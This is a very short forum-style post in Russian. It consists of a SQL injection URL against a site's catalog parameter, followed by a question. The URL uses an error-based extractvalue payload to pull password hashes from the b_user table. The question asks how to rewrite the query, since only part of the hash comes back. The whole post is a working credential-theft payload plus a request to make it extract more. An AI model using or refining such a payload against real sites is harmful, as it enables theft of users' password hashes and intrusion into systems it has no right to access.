↑
http://xxx.ru/?r=club/catalog/detail&id=-53 order by extractvalue(0x0a,concat(0x0a,(select concat_ws(0x3b,password) from b_user limit 1,1))) -- -
выводит не полный хэш, как составить запрос чтобы выводил все символы их хэша?